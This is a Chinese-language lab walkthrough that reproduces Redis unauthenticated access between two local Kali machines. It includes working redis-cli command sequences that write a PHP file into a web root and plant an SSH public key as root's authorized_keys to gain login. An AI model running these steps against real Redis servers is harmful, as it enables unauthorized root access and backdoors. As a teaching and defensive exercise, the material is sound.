Redis未授权访问 漏洞复现
一、漏洞描述
Redis默认情况下，会绑定在0.0.0.0:6379(在redis3.2之后，redis增加了protected-mode，在这个模式下，非绑定IP或者没有配置密码访问时都会报错)，如果没有进行采用相关的策略，比如添加防火墙规则避免其他非信任来源ip访问等等，这样将会将Redis服务暴露在公网上，如果在没有设置密码认证(默认为空)的情况下，会导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下，利用Redis自身的提供的config命令，可以进行写文件操作，攻击者还可以成功将自己的ssh公钥写入目标服务器的/root/.ssh文件的authotrized_keys 文件中，进而可以使用对应私钥直接使用ssh服务器登录目标服务器。
漏洞的产生条件有以下两点:
(1) Redis绑定在0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略，直接暴露在公网
(2) 没有设置密码认证（默认为空）或者弱密码，可以免密码登录redis服务
二、漏洞影响版本
Redis 2.x，3.x，4.x，5.x
三、漏洞危害
(1) 攻击者无需认证访问到内部数据,可能导致敏感信息泄露，黑客也可以恶意执行flushall来清空所有数据
(2) 攻击者可通过eval执行lua代码，或通过数据备份功能往磁盘写入后门文件
(3) 如果redis以root身份运行，黑客可以给root账户写入SSH公钥文件，直接通过SSH登录目标服务器
四、漏洞环境搭建
靶机：kali 192.168.43.146
攻击机 kali 192.168.43.138
- 靶机安装redis-2.8.17
1.1下载redis-2.8.17
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
1.2、解压，进入源码目录，然后编译(make、make install)
tar -zxf redis-2.8.17.tar.gz
cd redis-2.8.17
make
make install
1.3启动服务
redis-server
1.4查看是否启动了redis-server服务(我这里已经启动了)
ps -ef |grep redis-server
2.kali安装安装redis客户端(redis-cli)
2.1下载redis2.8.17
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
2.2 解压，编译
tar -zxvf redis-2.8.17.tar.gz redis-2.8.17/
cd redis-2.8.17
make
make install
2.3测试redis客户端是否安装完成
五、漏洞复现
1、测试目标靶机是否存在未授权访问,下图说明靶机存在未授权访问，导致信息泄露
利用方式1:写入webshell
利用条件:目标开启了web服务器,并且知道web路径(可以利用phpinfo或者错误暴路径等)，还需要具有读写增删改查权限
2、把shell写入到网站根目录下(/var/www/html/)
config set dir /var/www/html
(靶机赋予html 777权限
sudo chmod 777 html)
config set dbfilename 11.php
set webshell “<?php phpinfo();?>”
save
4、浏览器访问http://192.168.43.146/11.php,发现在目标靶机成功写入webshell
利用方式2:通过写入SSH公钥实现SSH登录
原理就是在数据库中插入一条数据，将本机的公钥作为value,key值随意，然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里，这样就可以在服务器端的/root/.ssh下生一个授权的key。
7、首先在攻击机(kali)上生成ssh公钥
ssh-keygen -t rsa
8、将公钥写入key.txt文件（前后用\n换行，避免和redis里其他缓存数据混合）。
(echo -e "\n";cat id_rsa.pub;echo -e "\n")>key.txt
9、再把key.txt文件内容写入redis缓冲
cat /root/.ssh/key.txt |./redis-cli -h 192.168.43.146 -x set pub
10.1、设置redis的dump文件路径为/root/.ssh且文件名为authorized_keys,注意: redis 可以创建文件但无法创建目录，所以，redis 待写入文件所在的目录必须事先存在。出现如下图错误是因为目标靶机不存在.ssh目录(默认没有,需要生成公、私钥或者建立ssh连接时才会生成)
这个时候靶机运行 ssh localhost
10.2当目标使用过ssh服务之后,就会产生.ssh目录了，然后进行如下操作
11、测试是否可以通过ssh登录目标服务器,成功登录
发现登陆成功
ip a 发现查到的是靶机的ip